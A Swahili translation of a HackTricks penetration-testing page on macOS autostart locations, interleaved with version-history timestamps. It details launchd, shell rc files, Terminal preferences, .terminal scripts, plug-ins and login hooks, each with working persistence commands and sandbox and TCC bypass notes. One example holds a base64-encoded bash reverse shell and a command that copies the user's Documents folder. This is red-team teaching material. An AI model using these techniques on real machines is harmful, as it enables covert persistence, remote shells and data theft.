2024-07-18 17:47:58 +00:00
# Kuanza Kiotomatiki kwa macOS
2023-06-01 21:09:46 +00:00
2024-07-18 17:47:58 +00:00
{% hint style="success" %}
Jifunze & zoezi la Udukuzi wa AWS:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Jifunze & zoezi la Udukuzi wa GCP: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2023-06-01 21:09:46 +00:00
2024-07-18 17:47:58 +00:00
< details >
2023-06-01 21:09:46 +00:00
2024-07-18 17:47:58 +00:00
< summary > Support HackTricks< / summary >
2023-12-30 20:49:49 +00:00
2024-07-18 17:47:58 +00:00
* Angalia [**mpango wa michango** ](https://github.com/sponsors/carlospolop )!
* **Jiunge na** 💬 [**Kikundi cha Discord** ](https://discord.gg/hRep4RUj7f ) au kikundi cha [**telegram** ](https://t.me/peass ) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) na [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2023-06-01 21:09:46 +00:00
< / details >
2024-07-18 17:47:58 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
2024-07-18 17:47:58 +00:00
Sehemu hii inategemea sana safu ya blogu [**Beyond the good ol' LaunchAgents** ](https://theevilbit.github.io/beyond/ ), lengo ni kuongeza **Maeneo zaidi ya Kuanza Kiotomatiki** (ikiwezekana), kuonyesha **njia zipi bado zinafanya kazi** leo na toleo la hivi karibuni la macOS (13.4) na kueleza **ruhusa** inayohitajika.
2023-06-01 21:09:46 +00:00
2024-07-18 17:47:58 +00:00
## Kizuizi cha Sanduku la Mchanga
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2024-07-18 17:47:58 +00:00
Hapa unaweza kupata maeneo ya kuanza muhimu kwa **kizuizi cha sanduku la mchanga** ambacho kinakuruhusu tu kutekeleza kitu kwa **kuandika kwenye faili** na **kungojea** kwa **kitendo cha kawaida sana** , kiasi **fulani cha muda** au kitendo unachoweza kawaida kufanya kutoka ndani ya sanduku la mchanga bila kuhitaji ruhusa ya msingi.
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
### Launchd
2024-07-18 17:47:58 +00:00
* Muhimu kwa kizuizi cha sanduku la mchanga: [✅ ](https://emojipedia.org/check-mark-button )
* Kizuizi cha TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-11 02:13:58 +00:00
#### Maeneo
2023-09-28 15:09:34 +00:00
* **`/Library/LaunchAgents`**
2024-07-18 17:47:58 +00:00
* **Kitendo cha Kuanza**: Reboot
* Inahitaji Root
2023-09-28 15:09:34 +00:00
* **`/Library/LaunchDaemons`**
2024-07-18 17:47:58 +00:00
* **Kitendo cha Kuanza**: Reboot
* Inahitaji Root
2023-09-28 15:09:34 +00:00
* **`/System/Library/LaunchAgents`**
2024-07-18 17:47:58 +00:00
* **Kitendo cha Kuanza**: Reboot
* Inahitaji Root
2023-09-28 15:09:34 +00:00
* **`/System/Library/LaunchDaemons`**
2024-07-18 17:47:58 +00:00
* **Kitendo cha Kuanza**: Reboot
* Inahitaji Root
2023-09-28 15:09:34 +00:00
* **`~/Library/LaunchAgents`**
2024-07-18 17:47:58 +00:00
* **Kitendo cha Kuanza**: Ingia tena
2023-09-28 15:09:34 +00:00
* **`~/Library/LaunchDemons`**
2024-07-18 17:47:58 +00:00
* **Kitendo cha Kuanza**: Ingia tena
2023-09-28 15:09:34 +00:00
2024-07-17 18:37:10 +00:00
{% hint style="success" %}
Kama ukweli wa kuvutia, ** `launchd` ** ina orodha ya mali iliyofungwa kwenye sehemu ya Mach-o `__Text.__config` ambayo ina huduma zingine maarufu ambazo launchd lazima aanze. Zaidi ya hayo, huduma hizi zinaweza kuwa na `RequireSuccess` , `RequireRun` na `RebootOnSuccess` ambayo inamaanisha lazima zitekelezwe na kukamilika kwa mafanikio.
2024-07-18 17:47:58 +00:00
Bila shaka, haiwezi kuhaririwa kwa sababu ya kusainiwa kwa nambari.
2024-07-17 18:37:10 +00:00
{% endhint %}
2024-07-18 17:47:58 +00:00
#### Maelezo & Udukuzi
2023-09-28 15:09:34 +00:00
2024-07-18 17:47:58 +00:00
**`launchd`** ni **mchakato wa kwanza** unaoendeshwa na kernel ya OX S wakati wa kuanza na wa mwisho kumaliza wakati wa kuzima. Daima inapaswa kuwa na **PID 1** . Mchakato huu utasoma na kutekeleza mipangilio iliyotajwa katika **plists** za **ASEP** katika:
2023-06-01 21:09:46 +00:00
2024-02-13 00:53:00 +00:00
* `/Library/LaunchAgents` : Mawakala wa mtumiaji waliowekwa na msimamizi
* `/Library/LaunchDaemons` : Daemons za mfumo zilizowekwa na msimamizi
* `/System/Library/LaunchAgents` : Mawakala wa mtumiaji zinazotolewa na Apple.
* `/System/Library/LaunchDaemons` : Daemons za mfumo zinazotolewa na Apple.
2023-06-01 21:09:46 +00:00
2024-02-11 02:13:58 +00:00
Wakati mtumiaji anapoingia, plists zilizoko katika `/Users/$USER/Library/LaunchAgents` na `/Users/$USER/Library/LaunchDemons` zinaanza na **ruhusa za watumiaji walioingia** .
2023-06-01 21:09:46 +00:00
2024-02-23 16:48:14 +00:00
**Tofauti kuu kati ya mawakala na daemons ni kwamba mawakala hupakiwa wakati mtumiaji anaingia na daemons hupakiwa wakati wa kuanza kwa mfumo** (kwa kuwa kuna huduma kama ssh ambayo inahitaji kutekelezwa kabla ya mtumiaji yeyote kupata ufikiaji wa mfumo). Pia mawakala wanaweza kutumia GUI wakati daemons wanahitaji kukimbia kwenye hali ya nyuma.
2023-06-01 21:09:46 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
< plist version = "1.0" >
< dict >
2024-02-11 02:13:58 +00:00
< key > Label< / key >
< string > com.apple.someidentifier< / string >
< key > ProgramArguments< / key >
< array >
< string > bash -c 'touch /tmp/launched'< / string > <!-- Prog to execute -->
< / array >
< key > RunAtLoad< / key > < true / > <!-- Execute at system startup -->
< key > StartInterval< / key >
< integer > 800< / integer > <!-- Execute each 800s -->
< key > KeepAlive< / key >
< dict >
< key > SuccessfulExit< / key > < / false > <!-- Re - execute if exit unsuccessful -->
<!-- If previous is true, then re - execute in successful exit -->
< / dict >
2023-06-01 21:09:46 +00:00
< / dict >
< / plist >
```
2024-07-18 17:47:58 +00:00
Kuna matukio ambapo **mawakala lazima watekelezwe kabla ya mtumiaji kuingia** , hizi huitwa **PreLoginAgents** . Kwa mfano, hii ni muhimu kutoa teknolojia ya msaada wakati wa kuingia. Wanaweza kupatikana pia katika `/Library/LaunchAgents` (ona [**hapa** ](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents ) mfano).
2023-06-01 21:09:46 +00:00
2023-09-28 15:09:34 +00:00
{% hint style="info" %}
2024-07-18 17:47:58 +00:00
Faili mpya za usanidi za Daemons au Agents zitaloading **baada ya kuanza upya au kutumia** `launchctl load <target.plist>` Pia ni **inawezekana kuloada faili za .plist bila kuwa na kipengee hicho** kwa kutumia `launchctl -F <file>` (hata hivyo faili hizo za plist hazitapakiwa moja kwa moja baada ya kuanza upya).\
2024-07-17 18:37:10 +00:00
Pia ni **inawezekana kufuta** kwa kutumia `launchctl unload <target.plist>` (mchakato ulionyesha utakatishwa),
2023-06-01 21:09:46 +00:00
2024-07-18 17:47:58 +00:00
Ili **kudhibitisha** kwamba hakuna **kitu** (kama kubadilisha) **kinazuia** **Mwakala** au **Daemon** **kutoka** **kutekelezwa** endesha: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
2023-09-28 15:09:34 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
2024-07-18 17:47:58 +00:00
Panga mawakala na daemons wote wanaopakiwa na mtumiaji wa sasa:
2023-06-01 21:09:46 +00:00
```bash
launchctl list
```
2023-11-02 16:52:21 +00:00
{% hint style="warning" %}
2024-07-17 18:37:10 +00:00
Ikiwa plist inamilikiwa na mtumiaji, hata kama iko katika folda za mfumo wa daemon, **kazi itatekelezwa kama mtumiaji** na sio kama root. Hii inaweza kuzuia baadhi ya mashambulizi ya uongezaji wa mamlaka.
2023-11-02 16:52:21 +00:00
{% endhint %}
2024-07-17 18:37:10 +00:00
#### Taarifa zaidi kuhusu launchd
2024-07-18 17:47:58 +00:00
**`launchd`** ni **mchakato wa mode ya kwanza wa mtumiaji** ambao huanza kutoka kwa **kernel** . Mchakato wa kuanza lazima uwe **mefanikiwa** na **usiweze kutokea au kugonga** . Hata **ulinzi** dhidi ya baadhi ya **isara za kuua** .
2024-07-17 18:37:10 +00:00
2024-07-18 17:47:58 +00:00
Moja ya mambo ya kwanza ambayo `launchd` ingefanya ni **kuanzisha** **daemons** zote kama:
2024-07-17 18:37:10 +00:00
* **Daemons za Timer** zinazotegemea wakati wa kutekelezwa:
* atd (`com.apple.atrun.plist`): Ina `StartInterval` ya dakika 30
* crond (`com.apple.systemstats.daily.plist`): Ina `StartCalendarInterval` kuanza saa 00:15
* **Daemons za Mtandao** kama:
* `org.cups.cups-lpd` : Inasikiliza kwenye TCP (`SockType: stream`) na `SockServiceName: printer`
*   SockServiceName lazima iwe bandari au huduma kutoka `/etc/services`
* `com.apple.xscertd.plist` : Inasikiliza kwenye TCP kwenye bandari 1640
2024-07-18 17:47:58 +00:00
* **Daemons za Path** ambazo hutekelezwa wakati njia iliyospecify inabadilika:
2024-07-17 18:37:10 +00:00
* `com.apple.postfix.master` : Kuchunguza njia `/etc/postfix/aliases`
* **Daemons za arifa za IOKit**:
* `com.apple.xartstorageremoted` : `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...`
* **Mach port:**
* `com.apple.xscertd-helper.plist` : Inaonyesha katika kuingia kwa `MachServices` jina `com.apple.xscertd.helper`
* **UserEventAgent:**
* Hii ni tofauti na ile iliyotangulia. Inafanya launchd kuzalisha programu kujibu tukio maalum. Walakini, katika kesi hii, binary kuu inayohusika sio `launchd` lakini `/usr/libexec/UserEventAgent` . Inapakia programu-jalizi kutoka kwa folda iliyozuiwa na SIP /System/Library/UserEventPlugins/ ambapo kila programu-jalizi inaonyesha mwanzilishi wake katika ufunguo wa `XPCEventModuleInitializer` au. katika kesi ya programu-jalizi za zamani, katika `CFPluginFactories` dict chini ya ufunguo `FB86416D-6164-2070-726F-70735C216EC0` ya `Info.plist` .
2024-07-18 17:47:58 +00:00
### Faili za kuanza kwa shell
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0001/ ](https://theevilbit.github.io/beyond/beyond\_0001/ )\
Maelezo (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/ ](https://theevilbit.github.io/beyond/beyond\_0018/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:53:00 +00:00
* Inatumika kukiuka sanduku la mchanga: [✅ ](https://emojipedia.org/check-mark-button )
* Kukiuka TCC: [✅ ](https://emojipedia.org/check-mark-button )
* Lakini unahitaji kupata programu na kukiuka TCC ambayo inatekeleza shell ambayo inapakia faili hizi
2023-09-28 20:05:35 +00:00
2024-02-11 02:13:58 +00:00
#### Maeneo
2023-09-28 15:09:34 +00:00
2023-12-30 00:49:26 +00:00
* **`~/.zshrc`, `~/.zlogin` , `~/.zshenv.zwc` **, ** `~/.zshenv` , `~/.zprofile` **
2024-07-18 17:47:58 +00:00
* **Kichocheo**: Fungua terminal na zsh
2023-09-28 15:09:34 +00:00
* **`/etc/zshenv`, `/etc/zprofile` , `/etc/zshrc` , `/etc/zlogin` **
2024-07-18 17:47:58 +00:00
* **Kichocheo**: Fungua terminal na zsh
* Inahitaji Root
2023-09-28 15:09:34 +00:00
* **`~/.zlogout`**
2024-07-18 17:47:58 +00:00
* **Kichocheo**: Toka kwenye terminal na zsh
2023-09-28 15:09:34 +00:00
* **`/etc/zlogout`**
2024-07-18 17:47:58 +00:00
* **Kichocheo**: Toka kwenye terminal na zsh
* Inahitaji Root
2024-07-17 18:37:10 +00:00
* Huenda zaidi katika: ** `man zsh` **
2023-09-28 15:09:34 +00:00
* **`~/.bashrc`**
2024-07-18 17:47:58 +00:00
* **Kichocheo**: Fungua terminal na bash
2024-02-11 02:13:58 +00:00
* `/etc/profile` (haikufanya kazi)
* `~/.profile` (haikufanya kazi)
2023-09-28 15:09:34 +00:00
* `~/.xinitrc` , `~/.xserverrc` , `/opt/X11/etc/X11/xinit/xinitrc.d/`
2024-07-18 17:47:58 +00:00
* **Kichocheo**: Inatarajiwa kuzinduliwa na xterm, lakini **haipo** na hata baada ya kuiweka kosa hili linatokea: xterm: `DISPLAY is not set`
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
#### Maelezo & Utekaji
2023-09-28 15:09:34 +00:00
2024-07-18 17:47:58 +00:00
Wakati wa kuanzisha mazingira ya shell kama `zsh` au `bash` , **faili za kuanza zinatekelezwa** . macOS kwa sasa inatumia `/bin/zsh` kama shell ya msingi. Shell hii inafikiwa moja kwa moja wakati programu ya Terminal inazinduliwa au wakati kifaa kinapata kupitia SSH. Ingawa `bash` na `sh` pia wapo katika macOS, wanahitaji kuitwa wazi ili kutumika.
2023-09-28 15:09:34 +00:00
2024-03-17 16:40:00 +00:00
Ukurasa wa man wa zsh, ambao tunaweza kusoma kwa kutumia ** `man zsh` ** una maelezo marefu ya faili za kuanza.
2023-09-28 15:09:34 +00:00
```bash
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
```
2024-02-11 02:13:58 +00:00
### Programu Zilizofunguliwa tena
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-07-17 18:37:10 +00:00
Kuweka mazingira ya kutumia na kujiondoa na kuingia tena au hata kuanzisha upya hakukufanyia kazi kunitekelezea programu. (Programu haikuwa inatekelezwa, labda inahitaji kuwa inatekelezwa wakati hatua hizi zinatekelezwa)
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2024-07-17 18:37:10 +00:00
**Andika**: [https://theevilbit.github.io/beyond/beyond\_0021/ ](https://theevilbit.github.io/beyond/beyond\_0021/ )
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
* Inatumika kukiuka sanduku la mchanga: [✅ ](https://emojipedia.org/check-mark-button )
* Kukiuka TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist`**
2024-07-18 17:47:58 +00:00
* **Kichocheo**: Anzisha upya programu zilizofunguliwa tena
2023-09-28 15:09:34 +00:00
2024-07-18 17:47:58 +00:00
#### Maelezo na Utekaji
2023-09-28 20:05:35 +00:00
2024-07-18 17:47:58 +00:00
Programu zote za kufunguliwa tena zimo ndani ya plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`
2023-09-28 20:05:35 +00:00
2024-02-23 16:48:14 +00:00
Kwa hivyo, ili programu zilizofunguliwa tena ziweze kuzindua yako, unahitaji tu **kuongeza programu yako kwenye orodha** .
2023-09-28 20:05:35 +00:00
2024-02-13 00:53:00 +00:00
UUID inaweza kupatikana kwa kuorodhesha saraka hiyo au kwa kutumia `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
2023-09-28 20:05:35 +00:00
2024-07-17 18:37:10 +00:00
Ili kuchunguza programu zitakazofunguliwa tena unaweza kufanya:
2023-09-28 20:05:35 +00:00
```bash
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist
2023-09-28 15:09:34 +00:00
```
2024-05-05 22:47:30 +00:00
Ili **kuongeza programu kwenye orodha hii** unaweza kutumia:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
2024-02-11 02:13:58 +00:00
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist
2023-09-28 15:09:34 +00:00
```
2024-02-11 02:13:58 +00:00
### Mapendeleo ya Terminali
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
* Inatumika kukiuka sanduku la mchanga: [✅ ](https://emojipedia.org/check-mark-button )
* Kukiuka TCC: [✅ ](https://emojipedia.org/check-mark-button )
2024-05-05 22:47:30 +00:00
* Matumizi ya Terminali kuwa na ruhusa za FDA za mtumiaji anayetumia
2023-10-01 18:04:16 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-10-01 18:04:16 +00:00
* **`~/Library/Preferences/com.apple.Terminal.plist`**
2024-07-18 17:47:58 +00:00
* **Kichocheo**: Fungua Terminal
2023-10-01 18:04:16 +00:00
2024-02-11 02:13:58 +00:00
#### Maelezo na Utekaji
2023-09-28 15:09:34 +00:00
2024-07-17 18:37:10 +00:00
Katika ** `~/Library/Preferences` ** kuna mapendeleo ya mtumiaji katika Programu. Baadhi ya mapendeleo haya yanaweza kushikilia usanidi wa **kutekeleza programu/zana nyingine** .
2023-09-28 15:09:34 +00:00
2024-02-13 00:53:00 +00:00
Kwa mfano, Terminali inaweza kutekeleza amri wakati wa Kuanza:
2023-09-28 15:09:34 +00:00
2024-05-05 22:47:30 +00:00
< figure > < img src = "../.gitbook/assets/image (1148).png" alt = "" width = "495" > < figcaption > < / figcaption > < / figure >
2023-09-28 20:05:35 +00:00
2024-02-13 00:53:00 +00:00
Usanidi huu unajitokeza katika faili ** `~/Library/Preferences/com.apple.Terminal.plist` ** kama ifuatavyo:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
[...]
"Window Settings" => {
2024-02-11 02:13:58 +00:00
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
2023-09-28 20:05:35 +00:00
[...]
2023-09-28 15:09:34 +00:00
```
2024-07-18 17:47:58 +00:00
Kwa hivyo, ikiwa plist ya mapendeleo ya terminali katika mfumo inaweza kubadilishwa, basi **kazi ya `open`** inaweza kutumika kufungua terminali na amri hiyo itatekelezwa.
2023-09-28 15:09:34 +00:00
2024-05-05 22:47:30 +00:00
Unaweza kuongeza hii kutoka kwa cli kwa:
2024-02-23 16:48:14 +00:00
{% code overflow="wrap" %}
2023-09-28 15:09:34 +00:00
```bash
# Add
2023-09-28 20:05:35 +00:00
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist
2023-09-28 15:09:34 +00:00
# Remove
2023-09-28 20:05:35 +00:00
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
2023-09-28 15:09:34 +00:00
```
{% endcode %}
2024-07-18 17:47:58 +00:00
### Skripti za Terminali / Vipengele vingine vya faili
2023-10-01 18:04:16 +00:00
2024-02-13 00:53:00 +00:00
* Inatumika kukiuka sanduku la mchanga: [✅ ](https://emojipedia.org/check-mark-button )
* Kukiuka TCC: [✅ ](https://emojipedia.org/check-mark-button )
2024-07-17 18:37:10 +00:00
* Matumizi ya Terminali kuwa na ruhusa za FDA ikiwa mtumiaji anaitumia
2023-10-01 18:04:16 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-10-01 18:04:16 +00:00
2024-02-13 00:53:00 +00:00
* **Mahali popote**
2024-02-11 02:13:58 +00:00
* **Kichocheo**: Fungua Terminali
2023-10-01 18:04:16 +00:00
2024-02-13 00:53:00 +00:00
#### Maelezo & Utekaji
2023-10-01 18:04:16 +00:00
2024-07-18 17:47:58 +00:00
Ikiwa utaunda skripti ya [**`.terminal`** ](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx ) na kuifungua, programu ya **Terminal** itaitwa moja kwa moja kutekeleza amri zilizotajwa humo. Ikiwa programu ya Terminal ina ruhusa maalum (kama vile TCC), amri yako itatekelezwa kwa ruhusa hizo maalum.
2023-10-01 18:04:16 +00:00
2024-07-17 18:37:10 +00:00
Jaribu hivi:
2023-10-01 18:04:16 +00:00
```bash
# Prepare the payload
cat > /tmp/test.terminal < < EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-11 02:13:58 +00:00
< key > CommandString< / key >
< string > mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;< / string >
< key > ProfileCurrentVersion< / key >
< real > 2.0600000000000001< / real >
< key > RunCommandAsShell< / key >
< false / >
< key > name< / key >
< string > exploit< / string >
< key > type< / key >
< string > Window Settings< / string >
2023-10-01 18:04:16 +00:00
< / dict >
< / plist >
EOF
# Trigger it
open /tmp/test.terminal
# Use something like the following for a reverse shell:
< string > echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;< / string >
```
2024-07-18 17:47:58 +00:00
Unaweza pia kutumia nyongeza ** `.command` **, ** `.tool` **, na maudhui ya skripti za kawaida za shell na zitafunguliwa na Terminal.
{% hint style="danger" %}
Ikiwa terminali ina **Upatikanaji Kamili wa Diski** , itaweza kumaliza hatua hiyo (kumbuka kuwa amri iliyotekelezwa itaonekana kwenye dirisha la terminali).
{% endhint %}
### Vifaa vya Sauti
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0013/ ](https://theevilbit.github.io/beyond/beyond\_0013/ )\
Maelezo: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882 ](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882 )
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
* Inatumika kukiuka sanduku la mchanga: [✅ ](https://emojipedia.org/check-mark-button )
* Kukiuka TCC: [🟠 ](https://emojipedia.org/large-orange-circle )
* Unaweza kupata ufikiaji wa ziada wa TCC
2023-12-30 00:49:26 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-09-28 20:05:35 +00:00
* **`/Library/Audio/Plug-Ins/HAL`**
2024-07-18 17:47:58 +00:00
* Inahitajika mizizi
2024-02-13 00:53:00 +00:00
* **Kichocheo**: Anza upya coreaudiod au kompyuta
2023-09-28 20:05:35 +00:00
* **`/Library/Audio/Plug-ins/Components`**
2024-07-18 17:47:58 +00:00
* Inahitajika mizizi
2024-02-13 00:53:00 +00:00
* **Kichocheo**: Anza upya coreaudiod au kompyuta
2023-09-28 20:05:35 +00:00
* **`~/Library/Audio/Plug-ins/Components`**
2024-02-13 00:53:00 +00:00
* **Kichocheo**: Anza upya coreaudiod au kompyuta
2023-09-28 20:05:35 +00:00
* **`/System/Library/Components`**
2024-07-18 17:47:58 +00:00
* Inahitajika mizizi
2024-02-13 00:53:00 +00:00
* **Kichocheo**: Anza upya coreaudiod au kompyuta
2023-09-28 20:05:35 +00:00
2024-02-11 02:13:58 +00:00
#### Maelezo
2023-09-28 20:05:35 +00:00
2024-07-18 17:47:58 +00:00
Kulingana na maelezo ya awali, ni **inawezekana kuchanganya vifaa vya sauti** na kuvipakia.
2023-09-28 20:05:35 +00:00
2024-07-17 18:37:10 +00:00
### Vifaa vya QuickLook
2023-09-28 20:05:35 +00:00
2024-02-11 02:13:58 +00:00
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0028/ ](https://theevilbit.github.io/beyond/beyond\_0028/ )
2023-09-28 20:05:35 +00:00
2024-02-11 02:13:58 +00:00
* Inatumika kukiuka sanduku la mchanga: [✅ ](https://emojipedia.org/check-mark-button )
* Kukiuka TCC: [🟠 ](https://emojipedia.org/large-orange-circle )
* Unaweza kupata ufikiaji wa ziada wa TCC
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* `/System/Library/QuickLook`
* `/Library/QuickLook`
* `~/Library/QuickLook`
* `/Applications/AppNameHere/Contents/Library/QuickLook/`
* `~/Applications/AppNameHere/Contents/Library/QuickLook/`
2023-09-28 15:09:34 +00:00
2024-02-13 00:53:00 +00:00
#### Maelezo & Utekaji
2023-09-28 15:09:34 +00:00
2024-07-18 17:47:58 +00:00
Vifaa vya QuickLook vinaweza kutekelezwa unapopiga **kichocheo cha hakikisho cha faili** (bonyeza nafasi na faili iliyochaguliwa kwenye Finder) na **nyongeza inayounga mkono aina hiyo ya faili** imewekwa.
2023-09-28 15:09:34 +00:00
2024-07-18 17:47:58 +00:00
Inawezekana kuchanganya nyongeza yako ya QuickLook, iweke kwenye mojawapo ya maeneo yaliyotajwa hapo juu ili kuipakia kisha nenda kwenye faili inayoungwa mkono na bonyeza nafasi kuichokoza.
2023-09-28 15:09:34 +00:00
2024-07-17 18:37:10 +00:00
### ~~Kanzidata ya Kuingia/Kutoka~~
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-07-17 18:37:10 +00:00
Hii haikufanya kazi kwangu, wala na Kanzidata ya Kuingia ya mtumiaji wala na Kanzidata ya Kutoka ya mizizi
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-02-11 02:13:58 +00:00
**Maelezo**: [https://theevilbit.github.io/beyond/beyond\_0022/ ](https://theevilbit.github.io/beyond/beyond\_0022/ )
2023-09-28 20:05:35 +00:00
2024-02-11 02:13:58 +00:00
* Inatumika kukiuka sanduku la mchanga: [✅ ](https://emojipedia.org/check-mark-button )
* Kukiuka TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-09-28 20:05:35 +00:00
2024-02-11 02:13:58 +00:00
* Unahitaji kuweza kutekeleza kitu kama `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
2024-07-17 18:37:10 +00:00
* `I` mejumuishwa katika `~/Library/Preferences/com.apple.loginwindow.plist`
2023-09-28 15:09:34 +00:00
2024-07-17 18:37:10 +00:00
Zimepitwa na wakati lakini zinaweza kutumika kutekeleza amri wakati mtumiaji anaingia.
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
cat > $HOME/hook.sh < < EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
2023-09-28 15:09:34 +00:00
```
2024-02-13 00:53:00 +00:00
Hii mipangilio inahifadhiwa katika `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist`
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
2024-02-11 02:13:58 +00:00
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
2023-09-28 20:05:35 +00:00
}
2023-09-28 15:09:34 +00:00
```
2024-02-11 02:13:58 +00:00
Ili kufuta hiyo:
2023-09-28 20:05:35 +00:00
```bash
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
```
2024-07-18 17:47:58 +00:00
Mwanzilishi wa mizizi imehifadhiwa katika ** `/private/var/root/Library/Preferences/com.apple.loginwindow.plist` **
2023-09-28 20:05:35 +00:00
2024-07-18 17:47:58 +00:00
## Kizuizi cha Sanduku la Kumaliza
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2024-07-18 17:47:58 +00:00
Hapa unaweza kupata maeneo ya kuanza yanayofaa kwa **kizuizi cha sanduku** ambacho kinakuruhusu kutekeleza kitu kwa urahisi kwa **kuandika kwenye faili** na **kutarajia hali sio za kawaida** kama programu maalum zilizosanikishwa, hatua za mtumiaji "zisizo za kawaida" au mazingira.
